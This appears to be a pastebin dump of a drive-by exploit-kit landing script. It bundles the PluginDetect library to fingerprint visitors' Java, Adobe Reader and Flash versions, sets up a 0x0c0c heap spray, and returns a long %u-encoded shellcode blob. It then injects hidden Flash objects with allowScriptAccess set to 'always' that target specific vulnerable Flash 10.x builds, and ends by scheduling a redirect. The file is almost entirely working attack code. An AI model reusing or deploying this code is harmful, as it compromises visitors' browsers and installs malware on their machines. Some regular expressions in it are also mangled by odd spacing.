  1018. i = a.search(k, k, d)
  1019. }
  1020. }
  1021. else {
  1022. if (d){
  1023. i = a.search(f, f, true)
  1024. }
  1025. if (i.length == 0){
  1026. i = a.search(h, g, false)
  1027. }
  1028. }
  1029. if (i.length){
  1030. a.version = i[0];
  1031. a.VERSIONS = [].concat(i)
  1032. }
  1033. ;
  1034. return a
  1035. }
  1036. , search : function (a, j, p){
  1037. var h, d, f = this , e = f.$, k = f.$$, n, c, l, q, b, o, r, i = [];
  1038. if (e.compareNums(a.join(","), j.join(",")) > 0){
  1039. j = a
  1040. }
  1041. j = e.formatNum(j.join(","));
  1042. var m, s = "1,4,2,0", g = "JavaPlugin." + a[0] + "" + a[1] + "" + a[2] + "" +
  1043. (a[3] > 0 ? ("_" + (a[3] < 10 ? "0" : "") + a[3]) : "");
  1044. for (h = 0; h < f.JavaVersions.length; h ++ ){
  1045. d = f.JavaVersions[h];
  1046. n = "JavaPlugin." + d[0] + "" + d[1];
  1047. b = d[0] + "." + d[1] + ".";
  1048. for (l = d[2];
  1049. l >= 0; l -- ){
  1050. r = "JavaWebStart.isInstalled." + b + l + ".0";
  1051. if (e.compareNums(d[0] + "," + d[1] + "," + l + ",0", j) >= 0 &&! e.getAXO
  1052. (r)){
  1053. continue
  1054. }
  1055. m = e.compareNums(d[0] + "," + d[1] + "," + l + ",0", s) < 0 ? true :
  1056. false ;
  1057. for (q = d[3];
  1058. q >= 0; q -- ){
  1059. c = l + "_" + (q < 10 ? "0" + q : q);
  1060. o = n + c;
  1061. if (e.getAXO(o) && (m || e.getAXO(r))){
  1062. i.push(b + c);
  1063. if (!p){
  1064. return i
  1065. }
  1066. }
  1067. if (o == g){
  1068. return i
  1069. }
  1070. }
  1071. if (e.getAXO(n + l) && (m || e.getAXO(r))){
  1072. i.push(b + l);
  1073. if (!p){
  1074. return i
  1075. }
  1076. }
  1077. if (n + l == g){
  1078. return i
  1079. }
  1080. }
  1081. }
  1082. return i
  1083. }
  1084. }
  1085. , navMime : {
  1086. $ : 1, hasRun : 0, mimetype : "", version : "", length : 0, mimeObj : 0,
  1087. pluginObj : 0, disabled : function (){
  1088. return this .$$.isDisabled.navMime()
  1089. }
  1090. , query : function (){
  1091. var i = this , f = i.$, a = i.$$, b = (i.hasRun || i.disabled());
  1092. i.hasRun = 1;
  1093. if (b){
  1094. return i
  1095. }
  1096. ;
  1097. var n =/^\ s * application \/ x - java - applet;
  1098. jpi - version \ s *=\ s * ( \ d. * )$ / i, g, l, j, d = "", h = "a", o, m, k =
  1099. {
  1100. }
  1101. , c = f.formatNum("0");
  1102. for (l = 0; l < navigator.mimeTypes.length; l ++ ){
  1103. o = navigator.mimeTypes[l];
  1104. m = o ? o.enabledPlugin : 0;
  1105. g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0;
  1106. if (g && m && (m.description || m.name)){
  1107. if (!k[h + g]){
  1108. i.length ++
  1109. }
  1110. k[h + g] = o.type;
  1111. if (f.compareNums(g, c) > 0){
  1112. c = g
  1113. }
  1114. }
  1115. }
  1116. g = k[h + c];
  1117. if (g){
  1118. o = f.hasMimeType(g);
  1119. i.mimeObj = o;
  1120. i.pluginObj = o ? o.enabledPlugin : 0;
  1121. i.mimetype = g;
  1122. i.version = c
  1123. }
  1124. ;
  1125. return i
  1126. }
  1127. }
  1128. , navPlugin : {
  1129. $ : 1, hasRun : 0, version : "", disabled : function (){
  1130. return this .$$.isDisabled.navPlugin()
  1131. }
  1132. , query : function (){
  1133. var m = this , e = m.$, c = m.$$, h = c.navigator, j, l, k, g, d, a, i, f = 0,
  1134. b = (m.hasRun || m.disabled());
  1135. m.hasRun = 1;
  1136. if (b){
  1137. return m
  1138. }
  1139. ;
  1140. a = h.pluginObj.name || "";
  1141. i = h.pluginObj.description || "";
  1142. if (!f || c.debug){
  1143. g =/ Java. * TM. * Platform[ ^\ d] * ( \ d + )( ?: [ \ ., _]( \ d * )) ? (
  1144. ?:\ s * [Update] +\ s * ( \ d * )) ?/ i;
  1145. if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10) >= 5){
  1146. f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp
  1147. .$3 ? RegExp.$3 : "0")
  1148. }
  1149. }
  1150. if (!f || c.debug){
  1151. g =/ Java[ ^\ d] * Plug - in / i;
  1152. l = g.test(i) ? e.formatNum(e.getNum(i)) : 0;
  1153. k = g.test(a) ? e.formatNum(e.getNum(a)) : 0;
  1154. if (l && (e.compareNums(l, e.formatNum("1,3")) < 0 || e.compareNums(l, e.
  1155. formatNum("2")) >= 0)){
  1156. l = 0
  1157. }
  1158. if (k && (e.compareNums(k, e.formatNum("1,3")) < 0 || e.compareNums(k, e.
  1159. formatNum("2")) >= 0)){
  1160. k = 0
  1161. }
  1162. d = l && k ? (e.compareNums(l, k) > 0 ? l : k) : (l || k);
  1163. if (d){
  1164. f = d
  1165. }
  1166. }
  1167. if (!f && e.isSafari && e.OS == 2){
  1168. j = e.findNavPlugin("Java.*\\d.*Plug-in.*Cocoa", 0);
  1169. if (j){
  1170. l = e.getNum(j.description);
  1171. if (l){
  1172. f = l
  1173. }
  1174. }
  1175. }
  1176. ;
  1177. if (f){
  1178. m.version = e.formatNum(f)
  1179. }
  1180. ;
  1181. return m
  1182. }
  1183. }
  1184. , lang : {
  1185. $ : 1, System : {
  1186. $ : 1, hasRun : 0, result : [null, null], disabled : function (){
  1187. return this .$$.isDisabled.windowDotJava()
  1188. }
  1189. , getPropertyHas : function (a){
  1190. var b = this , d = b.$, c = b.getProperty()[0];
  1191. return (a && c && d.compareNums(d.formatNum(a), d.formatNum(c)) === 0) ? 1 :
  1192. 0
  1193. }
  1194. , getProperty : function (){
  1195. var f = this , g = f.$, d = f.$$, i, h = {
  1196. }
  1197. , b = (f.hasRun || f.disabled());
  1198. f.hasRun = 1;
  1199. if (!b){
  1200. var a = "java_qqq990";
  1201. g[a] = null;
  1202. try {
  1203. var c = document.createElement("script");
  1204. c.type = "text/javascript";
  1205. c.appendChild(document.createTextNode(
  1206. "(function(){var e;try{if (window.java && window.java.lang && window.java.lang.System){"
  1207. + g.name + "." + a + '
  1208. =[window.java.lang.System.getProperty("java.version")+" ",window.java.lang.System.getPrope
  1209. rty("java.vendor")+" "]}}catch(e){}})();'));
  1210. if (g.head.firstChild){
  1211. g.head.insertBefore(c, g.head.firstChild)
  1212. }
  1213. else {
  1214. g.head.appendChild(c)
  1215. }
  1216. g.head.removeChild(c)
  1217. }
  1218. catch (i){
  1219. }
  1220. if (g[a] && g.isArray(g[a])){
  1221. f.result = [].concat(g[a])
  1222. }
  1223. }
  1224. return f.result
  1225. }
  1226. }
  1227. }
  1228. , applet : {
  1229. $ : 1, results : [[null, null], [null, null], [null, null]], getResult :
  1230. function (){
  1231. var c = this .results, a, b = [];
  1232. for (a = 0; a < c.length; a ++ ){
  1233. b = c[a];
  1234. if (b[0]){
  1235. break
  1236. }
  1237. }
  1238. return [].concat(b)
  1239. }
  1240. , HTML : [0, 0, 0], active : [0, 0, 0], DummyObjTagHTML : 0, DummySpanTagHTML :
  1241. 0, allowed : [1, 1, 1], VerifyTagsHas : function (c){
  1242. var d = this , b;
  1243. for (b = 0; b < d.allowed.length; b ++ ){
  1244. if (d.allowed[b] === c){
  1245. return 1
  1246. }
  1247. }
  1248. return 0
  1249. }
  1250. , saveAsVerifyTagsArray : function (c){
  1251. var b = this , d = b.$, a;
  1252. if (d.isArray(c)){
  1253. for (a = 0; a < b.allowed.length; a ++ ){
  1254. if (d.isNum(c[a])){
  1255. if (c[a] < 0){
  1256. c[a] = 0
  1257. }
  1258. if (c[a] > 3){
  1259. c[a] = 3
  1260. }
  1261. b.allowed[a] = c[a]
  1262. }
  1263. }
  1264. }
  1265. }
  1266. , setVerifyTagsArray : function (d){
  1267. var b = this , c = b.$, a = b.$$;
  1268. if (a.getVersionDone === null){
  1269. b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  1270. }
  1271. if (a.debug || (a.verify && a.verify.isEnabled())){
  1272. b.saveAsVerifyTagsArray([3, 3, 3])
  1273. }
  1274. else {
  1275. if (d){
  1276. b.saveAsVerifyTagsArray(d)
  1277. }
  1278. }
  1279. }
  1280. , allDisabled : function (){
  1281. return this .$$.isDisabled.allApplets()
  1282. }
  1283. , isDisabled : function (d){
  1284. var b = this , c = b.$, a = b.$$;
  1285. if (d == 2 &&! c.isIE){
  1286. return 1
  1287. }
  1288. if (d === 0 || d == 2){
  1289. return a.isDisabled.ObjectTag()
  1290. }
  1291. if (d == 1){
  1292. return a.isDisabled.AppletTag()
  1293. }
  1294. }
  1295. , can_Insert_Query : function (b){
  1296. var a = this ;
  1297. if (a.HTML[b]){
  1298. return 0
  1299. }
  1300. return !a.isDisabled(b)
  1301. }
  1302. , can_Insert_Query_Any : function (){
  1303. var b = this , a;
  1304. for (a = 0; a < b.results.length; a ++ ){
  1305. if (b.can_Insert_Query(a)){
  1306. return 1
  1307. }
  1308. }
  1309. return 0
  1310. }
  1311. , should_Insert_Query : function (d){
  1312. var b = this , e = b.allowed, c = b.$, a = b.$$;
  1313. if (!b.can_Insert_Query(d)){
  1314. return 0
  1315. }
  1316. if (e[d] == 3){
  1317. return 1
  1318. }
  1319. if (e[d] == 2.8 &&! b.getResult()[0]){
  1320. return 1
  1321. }
  1322. if (e[d] == 2.5 &&! a.lang.System.getProperty()[0]){
  1323. return 1
  1324. }
  1325. if (e[d] == 2.2 &&! a.lang.System.getProperty()[0] &&! b.getResult()[0]){
  1326. return 1
  1327. }
  1328. if (!a.nonAppletDetectionOk(a.version0)){
  1329. if (e[d] == 2){
  1330. return 1
  1331. }
  1332. if (e[d] == 1 &&! b.getResult()[0]){
  1333. return 1
  1334. }
  1335. }
  1336. return 0
  1337. }
  1338. , should_Insert_Query_Any : function (){
  1339. var b = this , a;
  1340. for (a = 0; a < b.allowed.length; a ++ ){
  1341. if (b.should_Insert_Query(a)){
  1342. return 1
  1343. }
  1344. }
  1345. return 0
  1346. }
  1347. , query : function (f){
  1348. var h, a = this , g = a.$, d = a.$$, i = null, j = null, b = a.results, c;
  1349. if ((b[f][0] && b[f][1]) || (d.debug && d.OTF < 3)){
  1350. return
  1351. }
  1352. c = g.getDOMobj(a.HTML[f], true);
  1353. if (c){
  1354. try {
  1355. i = g.getNum(c.getVersion() + " ");
  1356. j = c.getVendor() + " ";
  1357. c.statusbar(g.winLoaded ? " " : " ")
  1358. }
  1359. catch (h){
  1360. }
  1361. if (i && g.isStrNum(i)){
  1362. b[f] = [i, j]
  1363. }
  1364. else {
  1365. }
  1366. ;
  1367. try {
  1368. if (g.isIE && i && c.readyState != 4){
  1369. g.garbage = true;
  1370. c.parentNode.removeChild(c)
  1371. }
  1372. }
  1373. catch (h){
  1374. }
  1375. }
  1376. }
  1377. , insert_Query_Any : function (){
  1378. var d = this , i = d.$, e = d.$$, l = d.results, p = d.HTML, a =
  1379. "    ", g = "A.class", m = i.file.getValid(e);
  1380. if (!m){
  1381. return d.getResult()
  1382. }
  1383. if (e.OTF < 1){
  1384. e.OTF = 1
  1385. }
  1386. if (d.allDisabled()){
  1387. return d.getResult()
  1388. }
  1389. if (e.OTF < 1.5){
  1390. e.OTF = 1.5
  1391. }
  1392. var j = m.name + m.ext, h = m.path;
  1393. var f = ["archive", j, "code", g], c = ["mayscript", "true"], o = [
  1394. "scriptable", "true"].concat(c), n = e.navigator, b =! i.isIE && n.mimeObj &&
  1395. n.mimeObj.type ? n.mimeObj.type : e.mimeType[0];
  1396. if (d.should_Insert_Query(0)){
  1397. if (e.OTF < 2){
  1398. e.OTF = 2
  1399. }
  1400. ;
  1401. p[0] = i.isIE ? i.insertHTML("object", ["type", b], ["codebase", h].concat(f
  1402. ).concat(o), a, e) : i.insertHTML("object", ["type", b], ["codebase", h].
  1403. concat(f).concat(o), a, e);
  1404. l[0] = [0, 0];
  1405. d.query(0)
  1406. }
  1407. if (d.should_Insert_Query(1)){
  1408. if (e.OTF < 2){
  1409. e.OTF = 2
  1410. }
  1411. ;
  1412. p[1] = i.isIE ? i.insertHTML("applet", ["alt", a].concat(c).concat(f), [
  1413. "codebase", h].concat(c), a, e) : i.insertHTML("applet", ["codebase", h,
  1414. "alt", a].concat(c).concat(f), [].concat(c), a, e);
  1415. l[1] = [0, 0];
  1416. d.query(1)
  1417. }
  1418. if (d.should_Insert_Query(2)){
  1419. if (e.OTF < 2){
  1420. e.OTF = 2
  1421. }
  1422. ;
  1423. p[2] = i.isIE ? i.insertHTML("object", ["classid", e.classID], ["codebase",
  1424. h].concat(f).concat(o), a, e) : i.insertHTML();
  1425. l[2] = [0, 0];
  1426. d.query(2)
  1427. }
  1428. if (!d.DummyObjTagHTML &&! e.isDisabled.ObjectTag()){
  1429. d.DummyObjTagHTML = i.insertHTML("object", [], [], a)
  1430. }
  1431. if (!d.DummySpanTagHTML){
  1432. d.DummySpanTagHTML = i.insertHTML("", [], [], a)
  1433. }
  1434. ;
  1435. var k = e.NOTF;
  1436. if (e.OTF < 3 && k.shouldContinueQuery()){
  1437. e.OTF = 3;
  1438. k.onIntervalQuery = i.handler(k.$$onIntervalQuery, k);
  1439. if (!i.winLoaded){
  1440. i.WLfuncs0.push([k.winOnLoadQuery, k])
  1441. }
  1442. setTimeout(k.onIntervalQuery, k.intervalLength)
  1443. }
  1444. ;
  1445. return d.getResult()
  1446. }
  1447. }
  1448. , NOTF : {
  1449. $ : 1, count : 0, countMax : 25, intervalLength : 250, shouldContinueQuery :
  1450. function (){
  1451. var e = this , d = e.$, c = e.$$, b = c.applet, a;
  1452. for (a = 0; a < b.results.length; a ++ ){
  1453. if (b.HTML[a] &&! b.results[a][0] && (b.allowed[a] >= 2 || (b.allowed[a] ==
  1454. 1 &&! b.getResult()[0])) && e.isAppletActive(a) >= 0){
  1455. return 1
  1456. }
  1457. }
  1458. return 0
  1459. }
  1460. , isJavaActive : function (d){
  1461. var f = this , c = f.$$, a, b, e =- 9;
  1462. for (a = 0; a < c.applet.HTML.length; a ++ ){
  1463. b = f.isAppletActive(a, d);
  1464. if (b > e){
  1465. e = b
  1466. }
  1467. }
  1468. return e
  1469. }
  1470. , isAppletActive : function (c, a){
  1471. var d = this , b = d.$$.applet.active;
  1472. if (!a){
  1473. b[c] = d.isAppletActive_(c)
  1474. }
  1475. return b[c]
  1476. }
  1477. , isAppletActive_ : function (d){
  1478. var g = this , f = g.$, b = g.$$, l = b.navigator, a = b.applet, h = a.HTML[d]
  1479. , i, k, c = 0, j = f.getTagStatus(h, a.DummySpanTagHTML, a.DummyObjTagHTML, g.
  1480. count);
  1481. if (j ==- 2){
  1482. return - 2
  1483. }
  1484. try {
  1485. if (f.isIE && f.verIE >= b.minIEver && f.getDOMobj(h).object){
  1486. return 1
  1487. }
  1488. }
  1489. catch (i){
  1490. }
  1491. for (k = 0; k < a.active.length; k ++ ){
  1492. if (a.active[k] > 0){
  1493. c = 1
  1494. }
  1495. }
  1496. if (j == 1 && (f.isIE || ((b.version0 && l.javaEnabled() && l.mimeObj && (h.
  1497. tagName == "object" || c)) || b.lang.System.getProperty()[0]))){
  1498. return 1
  1499. }
  1500. if (j < 0){
  1501. return - 1
  1502. }
  1503. return 0
  1504. }
  1505. , winOnLoadQuery : function (c, d){
  1506. var b = d.$$, a;
  1507. if (b.OTF == 3){
  1508. a = d.queryAllApplets();
  1509. d.queryCompleted(a[1], a[2])
  1510. }
  1511. }
  1512. , $$onIntervalQuery : function (d){
  1513. var c = d.$, b = d.$$, a;
  1514. if (b.OTF == 3){
  1515. a = d.queryAllApplets();
  1516. if (!d.shouldContinueQuery() || (c.winLoaded && d.count > d.countMax)){
  1517. d.queryCompleted(a[1], a[2])
  1518. }
  1519. }
  1520. d.count++;
  1521. if (b.OTF == 3){
  1522. setTimeout(d.onIntervalQuery, d.intervalLength)
  1523. }
  1524. }
  1525. , queryAllApplets : function (){
  1526. var g = this , f = g.$, e = g.$$, d = e.applet, b, a, c;
  1527. for (b = 0; b < d.results.length; b ++ ){
  1528. d.query(b)
  1529. }
  1530. a = d.getResult();
  1531. c = a[0] ? true : false;
  1532. return [c, a[0], a[1]]
  1533. }
  1534. , queryCompleted : function (c, f){
  1535. var e = this , d = e.$, b = e.$$;
  1536. if (b.OTF >= 4){
  1537. return
  1538. }
  1539. b.OTF = 4;
  1540. var a = e.isJavaActive();
  1541. b.setPluginStatus(c, f, 0);
  1542. if (b.funcs){
  1543. d.callArray(b.funcs)
  1544. }
  1545. if (d.onDoneEmptyDiv){
  1546. d.onDoneEmptyDiv()
  1547. }
  1548. }
  1549. }
  1550. , zz : 0
  1551. }
  1552. , flash : {
  1553. mimeType : "application/x-shockwave-flash", progID :
  1554. "ShockwaveFlash.ShockwaveFlash", classID :
  1555. "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000", getVersion : function (){
  1556. var b = function (i){
  1557. if (!i){
  1558. return null
  1559. }
  1560. var e =/ [ \ d][ \ d \,\ . \ s] * [rRdD]{
  1561. 0, 1
  1562. }
  1563. [ \ d \, ] */ .exec(i);
  1564. return e ? e[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
  1565. }
  1566. ;
  1567. var j = this , g = j.$, k, h, l = null, c = null, a = null, f, m, d;
  1568. if (!g.isIE){
  1569. m = g.hasMimeType(j.mimeType);
  1570. if (m){
  1571. f = g.getDOMobj(g.insertHTML("object", ["type", j.mimeType], [], "", j));
  1572. try {
  1573. l = g.getNum(f.GetVariable("$version"))
  1574. }
  1575. catch (k){
  1576. }
  1577. }
  1578. if (!l){
  1579. d = m ? m.enabledPlugin : null;
  1580. if (d && d.description){
  1581. l = b(d.description)
  1582. }
  1583. if (l){
  1584. l = g.getPluginFileVersion(d, l)
  1585. }
  1586. }
  1587. }
  1588. else {
  1589. for (h = 15; h > 2; h -- ){
  1590. c = g.getAXO(j.progID + "." + h);
  1591. if (c){
  1592. a = h.toString();
  1593. break
  1594. }
  1595. }
  1596. if (!c){
  1597. c = g.getAXO(j.progID)
  1598. }
  1599. if (a == "6"){
  1600. try {
  1601. c.AllowScriptAccess = "always"
  1602. }
  1603. catch (k){
  1604. return "6,0,21,0"
  1605. }
  1606. }
  1607. try {
  1608. l = b(c.GetVariable("$version"))
  1609. }
  1610. catch (k){
  1611. }
  1612. if (!l && a){
  1613. l = a
  1614. }
  1615. }
  1616. j.installed = l ? 1 :- 1;
  1617. j.version = g.formatNum(l);
  1618. return true
  1619. }
  1620. }
  1621. , adobereader : {
  1622. mimeType : "application/pdf", navPluginObj : null, progID : ["AcroPDF.PDF",
  1623. "PDF.PdfCtrl"], classID : "clsid:CA8A9780-280D-11CF-A24D-444553540000", INSTALLED :
  1624. {
  1625. }
  1626. , pluginHasMimeType : function (d, c, f){
  1627. var b = this , e = b.$, a;
  1628. for (ain d){
  1629. if (d[a] && d[a].type && d[a].type == c){
  1630. return 1
  1631. }
  1632. }
  1633. if (e.getMimeEnabledPlugin(c, f)){
  1634. return 1
  1635. }
  1636. return 0
  1637. }
  1638. , getVersion : function (l, j){
  1639. var g = this , d = g.$, i, f, m, n, b = null, h = null, k = g.mimeType, a, c;
  1640. if (d.isString(j)){
  1641. j = j.replace(/\s/g, "");
  1642. if (j){
  1643. k = j
  1644. }
  1645. }
  1646. else {
  1647. j = null
  1648. }
  1649. if (d.isDefined(g.INSTALLED[k])){
  1650. g.installed = g.INSTALLED[k];
  1651. return
  1652. }
  1653. if (!d.isIE){
  1654. a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  1655. if (g.getVersionDone !== 0){
  1656. g.getVersionDone = 0;
  1657. b = d.getMimeEnabledPlugin(g.mimeType, a);
  1658. if (!j){
  1659. n = b
  1660. }
  1661. if (!b && d.hasMimeType(g.mimeType)){
  1662. b = d.findNavPlugin(a, 0)
  1663. }
  1664. if (b){
  1665. g.navPluginObj = b;
  1666. h = d.getNum(b.description) || d.getNum(b.name);
  1667. h = d.getPluginFileVersion(b, h);
  1668. if (!h && d.OS == 1){
  1669. if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)){
  1670. h = "9"
  1671. }
  1672. else {
  1673. if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)){
  1674. h = "8"
  1675. }
  1676. }
  1677. }
  1678. }
  1679. }
  1680. else {
  1681. h = g.version
  1682. }
  1683. if (!d.isDefined(n)){
  1684. n = d.getMimeEnabledPlugin(k, a)
  1685. }
  1686. g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ?- 0.2 :- 1))
  1687. }
  1688. else {
  1689. b = d.getAXO(g.progID[0]) || d.getAXO(g.progID[1]);
  1690. c =/=\ s * ([ \ d \ .] + ) / g;
  1691. try {
  1692. f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.classID], ["src",
  1693. ""], "", g))).GetVersions();
  1694. for (m = 0; m < 5; m ++ ){
  1695. if (c.test(f) && (!h || RegExp.$1 > h)){
  1696. h = RegExp.$1
  1697. }
  1698. }
  1699. }
  1700. catch (i){
  1701. }
  1702. g.installed = h ? 1 : (b ? 0 :- 1)
  1703. }
  1704. if (!g.version){
  1705. g.version = d.formatNum(h)
  1706. }
  1707. g.INSTALLED[k] = g.installed
  1708. }
  1709. }
  1710. , zz : 0
  1711. }
  1712. }
  1713. ;
  1714. PluginDetect.initScript();
  1715. PluginDetect.getVersion(".");
  1716. pdfver = PluginDetect.getVersion("AdobeReader");
  1717. flashver = PluginDetect.getVersion('Flash');
  1718. javaver = PluginDetect.getVersion('Java', 'getJavaInfo.jar');
  1719. }
  1720. catch (e){
  1721. }
  1722. if (typeof pdfver == 'string'){
  1723. pdfver = pdfver.split('.')
  1724. }
  1725. else {
  1726. pdfver = [0, 0, 0, 0]
  1727. }
  1728. if (typeof flashver == 'string'){
  1729. flashver = flashver.split('.')
  1730. }
  1731. else {
  1732. flashver = [0, 0, 0, 0]
  1733. }
  1734. if (typeof javaver == 'string'){
  1735. javaver = javaver.split('.')
  1736. }
  1737. else {
  1738. javaver = [0, 0, 0, 0]
  1739. }
  1740. function spl0(){
  1741. spl2()
  1742. }
  1743. function spl2(){
  1744. spl3()
  1745. }
  1746. function spl3(){
  1747. spl4()
  1748. }
  1749. function spl4(){
  1750. setTimeout(spl5, 1000)
  1751. }
  1752. function getCN(){
  1753. return 'data/score.swf'
  1754. }
  1755. function getBlockSize(){
  1756. return 1024
  1757. }
  1758. function getAllocSize(){
  1759. return 1024 * 1024
  1760. }
  1761. function getAllocCount(){
  1762. return 300
  1763. }
  1764. function getFillBytes(){
  1765. var a = '%u' + '0c0c';
  1766. return a + a;
  1767. }
  1768. function getShellCode(){
  1769. if (1){
  1770. return "
  1771. %u4141%u4141%u8366%ufce4%uebfc%u5810%uc931%u8166%u58e9%u80fe%u2830%ue240%uebfa%ue805%uffeb
  1772. %uffff%uccad%u1c5d%u77c1%ue81b%ua34c%u1868%u68a3%ua324%u3458%ua37e%u205e%uf31b%ua34e%u1476
  1773. %u5c2b%u041b%uc6a9%u383d%ud7d7%ua390%u1868%u6eeb%u2e11%ud35d%u1caf%uad0c%u5dcc%uc179%u64c3
  1774. %u7e79%u5da3%ua314%u1d5c%u2b50%u7edd%u5ea3%u2b08%u1bdd%u61e1%ud469%u2b85%u1bed%u27f3%u3896
  1775. %uda10%u205c%ue3e9%u2b25%u68f2%ud9c3%u3713%uce5d%ua376%u0c76%uf52b%ua34e%u6324%u6ea5%ud7c4
  1776. %u0c7c%ua324%u2bf0%ua3f5%ua32c%ued2b%u7683%ueb71%u7bc3%ua385%u0840%u55a8%u1b24%u2b5c%uc3be
  1777. %ua3db%u2040%udfa3%u2d42%uc071%ud7b0%ud7d7%ud1ca%u28c0%u2828%u7028%u4278%u4068%u28d7%u2828
  1778. %uab78%u31e8%u7d78%uc4a3%u76a3%uab38%u2deb%ucbd7%u4740%u2846%u4028%u5a5d%u4544%ud77c%uab3e
  1779. %u20ec%uc0a3%u49c0%ud7d7%uc3d7%uc32a%ua95a%u2cc4%u2829%ua528%u0c74%uef24%u0c2c%u4d5a%u5b4f
  1780. %u6cef%u2c0c%u5a5e%u1a1b%u6cef%u200c%u0508%u085b%u407b%u28d0%u2828%u7ed7%ua324%u1bc0%u79e1
  1781. %u6cef%u2835%u585f%u5c4a%u6cef%u2d35%u4c06%u4444%u6cee%u2135%u7128%ue9a2%u182c%u6ca0%u2c35
  1782. %u7969%u2842%u2842%u7f7b%u2842%u7ed7%uad3c%u5de8%u423e%u7b28%u7ed7%u422c%uab28%u24c3%ud77b
  1783. %u2c7e%uebab%uc324%uc32a%u6f3b%u17a8%u5d28%u6fd2%u17a8%u5d28%u42ec%u4228%ud7d6%u207e%ub4c0
  1784. %ud7d6%ua6d7%u2666%ub0c4%ua2d6%ua126%u2947%u1b95%ua2e2%u3373%u6eee%u1e51%u0732%u4058%u5c5c
  1785. %u1258%u0707%u1d10%u1906%u061f%u101d%u1906%u1b1a%u5f07%u5806%u5840%u4e17%u1115%u4c1f%u1119
  1786. %u4d0e%u1915%u2828";
  1787. }
  1788. }
  1789. function spl5(){
  1790. var ver1 = flashver[0];
  1791. var ver2 = flashver[1];
  1792. var ver3 = flashver[2];
  1793. if (((ver1 == 10 && ver2 == 0 && ver3 > 40) || ((ver1 == 10 && ver2 > 0) && (ver1 == 10
  1794. && ver2 < 2))) || ((ver1 == 10 && ver2 == 2 && ver3 < 159) || (ver1 == (11 - 1) && ver2
  1795. < 2))){
  1796. var fname = "data/field";
  1797. var Flash_obj = "
  1798. <object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id
  1799. '>";
  1800. Flash_obj += "<param name='movie' value='" + fname + ".swf' />";
  1801. al = "always";
  1802. Flash_obj += "<param name=\"allowScriptAccess\" value='" + al + "' />";
  1803. Flash_obj += "<param name='Play' value='0' />";
  1804. Flash_obj += "<embed src='" + fname + ".swf' id='swf_id' name='swf_id'";
  1805. Flash_obj += "allowScriptAccess='" + al + "'";
  1806. Flash_obj += "type='application/x-shockwave-flash'";
  1807. Flash_obj += "width='10' height='10'>";
  1808. Flash_obj += "</embed>";
  1809. Flash_obj += "</object>";
  1810. var oSpan = document.createElement("span");
  1811. document.body.appendChild(oSpan);
  1812. oSpan.innerHTML = Flash_obj;
  1813. }
  1814. spl6();
  1815. }
  1816. function spl6(){
  1817. var ver1 = flashver[0];
  1818. var ver2 = flashver[1];
  1819. var ver3 = flashver[2];
  1820. var ver4 = flashver[3];
  1821. if ((ver1 == 10 && ver2 == 3 && ver3 == 181 && ver4 <= 23) || (ver1 == 10 && ver2 == 3 &&
  1822. ver3 < 181)){
  1823. var fname = "data/flash";
  1824. var Flash_obj = "
  1825. <object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' id='asd' width='600' height='
  1826. 400' codebase='h00p://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab'>";
  1827. Flash_obj += "<param name='movie' value='" + fname + "
  1828. .swf?info=02e6b1525353caa8adcd4aaf494ead49cfaa494e48acb537b6b6a951b252ca35c9cf4e354bce7e7a
  1829. c09f705f' />";
  1830. Flash_obj += "<embed src='" + fname + "
  1831. .swf?info=02e6b1525353caa8adcd4aaf494ead49cfaa494e48acb537b6b6a951b252ca35c9cf4e354bce7e7a
  1832. c09f705f' name='asd' align='middle' allowNetworking='all' type='application/x-shockwave-fl
  1833. ash' pluginspage='h00p://www.macromedia.com/go/getflashplayer'>";
  1834. Flash_obj += "</embed>";
  1835. Flash_obj += "</object>";
  1836. var oSpan = document.createElement("span");
  1837. document.body.appendChild(oSpan);
  1838. oSpan.innerHTML = Flash_obj;
  1839. }
  1840. spl7();
  1841. }
  1842. function spl7(){
  1843. setTimeout(end_redirect, 8000);
  1844. }
  1845. spl0();
Advertisement
RAW Paste Data Copied
Advertisement